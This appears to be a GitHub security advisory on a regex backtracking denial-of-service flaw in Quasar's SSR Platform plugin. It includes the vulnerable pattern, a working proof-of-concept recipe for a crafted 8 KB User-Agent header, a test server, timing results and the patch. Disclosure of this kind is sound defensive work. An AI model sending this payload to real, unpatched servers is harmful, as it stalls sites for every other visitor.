Skip to content

Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server

High
rstoenescu published GHSA-68jq-fhch-4xq4 Jul 28, 2026

Package

npm quasar (npm)

Affected versions

<= 2.23.2

Patched versions

2.23.3

Description

Summary

One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds.

Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded .* scans, so a crafted header costs time proportional to the cube of its length. An 8 KB User-Agent blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.

Details

Platform is in the autoInstalledPlugins array in ui/src/install-quasar.js, so it is installed unconditionally by app.use(Quasar, ...). The generated SSR entry (app-vite/templates/entry/app.js, called from app-vite/templates/entry/server-entry.js) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (ui/src/plugins/platform/Platform.js):

Platform.parseSSR = ssrContext => {
  const ua =
    ssrContext.req.headers['user-agent'] ||
    ssrContext.req.headers['User-Agent'] ||
    ''

  return { ...client, userAgent: ua, is: getPlatform(ua) }
}

getPlatform() lowercases the string and passes it to getMatch() (ui/src/plugins/platform/Platform.js:23-45), which evaluates an ordered chain of exec() calls. The sixth alternative, at ui/src/plugins/platform/Platform.js:32-34, is the problem:

/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent)

([\w.]+) is greedy and unbounded, and it is followed by two unbounded .* scans. When the input contains webkit/, many version/ tokens, and no safari/, the pattern can only fail after the engine has tried every combination of "where ([\w.]+) stops" against "which version occurrence the first .* lands on" against "how far the second .* searches for safari". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.

Measured on the functions loaded verbatim out of ui/src/plugins/platform/Platform.js, cost grows by a factor of eight for every doubling of the header:

UA   3998 B  ->      554 ms
UA   7998 B  ->     4368 ms      fits nginx default large_client_header_buffers 8k
UA  15998 B  ->    34995 ms      fits Node.js default --max-http-header-size 16k

A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.

Client-side rendering is not affected: there getPlatform() only ever sees navigator.userAgent, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.

PoC

The vulnerable pattern ships in the published package. From node_modules/quasar/dist/quasar.server.prod.js of quasar@2.23.1:

function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||...
  ||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||...
I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;
               return{...F,userAgent:t,is:P(t)}};

Build the header:

const k = 3200                       // filler that maximises the greedy capture
const m = 479                        // "version/" tokens for the first .* to land on
const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m)   // 7998 bytes

Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:

import http from 'node:http'
import { Platform } from 'quasar'          // resolves to dist/quasar.server.prod.js

http.createServer((req, res) => {
  const platform = Platform.parseSSR({ req, res })   // what app.use(Quasar, ...) does
  res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`)
}).listen(3100, '127.0.0.1')

Results of driving that server with the 7998-byte header:

[1] BASELINE - normal browser UA
  benign UA, GET /                       status=200        13 ms
  benign UA, GET / (2nd)                 status=200         1 ms

[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length
  same-size benign UA                    status=200         2 ms

[3] POSITIVE - crafted User-Agent
  malicious UA, GET /                    status=200      4355 ms

[4] POSITIVE - crafted UA against a NON-EXISTENT route
  malicious UA, GET /404path             status=200      4319 ms

[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later
  attacker (malicious UA)                status=200      4329 ms
  VICTIM (normal browser, benign UA)     status=200      4208 ms

[6] SUSTAINED - 5 attacker requests in flight, victim loads the site
  VICTIM during 5-request flood          status=200     21646 ms

Step 5 is the part that matters. The victim sends an ordinary request with an ordinary User-Agent and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.

Negative control on the library itself. One line changed in the installed node_modules/quasar/dist/quasar.server.prod.js:

-  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}};
+  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};

Re-running the identical attack against the patched build:

[3] malicious UA, GET /                  status=200         2 ms   was 4355 ms
[4] malicious UA, GET /404path           status=200         2 ms   was 4319 ms
[5] VICTIM (normal browser)              status=200         3 ms   was 4208 ms
[6] VICTIM during 5-request flood        status=200         2 ms   was 21646 ms

Detection of real browsers is unchanged by the cap (chrome 126.0.0.0, platform linux), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.

The same numbers come out of a server that never touches parseSSR directly and instead boots Quasar the way the generated entry does, letting install-quasar.js run the auto-installed plugin list on its own:

const ssrContext = { req, res }
const app = createSSRApp(RootComponent)
app.use(Quasar, {}, ssrContext)
const html = await renderToString(app, ssrContext)
[3] malicious UA, GET /                  status=200      4354 ms
[5] VICTIM (normal browser, benign UA)   status=200      4269 ms
[6] VICTIM during 5-request flood        status=200     21872 ms
[2] same-size benign UA (7998 B)         status=200         2 ms

Impact

Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both quasar dev -m ssr and quasar build -m ssr. There is no configuration that turns it off, because Platform is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.

Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.

Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local navigator.userAgent. Static site generation is not affected either, because the ssrContext used there is supplied by the developer rather than by a request.### Remediation

The fix caps User-Agent input at 512 characters before parsing and replaces the Safari and legacy Opera multi-greedy expressions with independent, bounded token checks. This bounds SSR parsing work while preserving normal browser and platform classification.

Upgrade to quasar@2.23.3 or later.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

Credits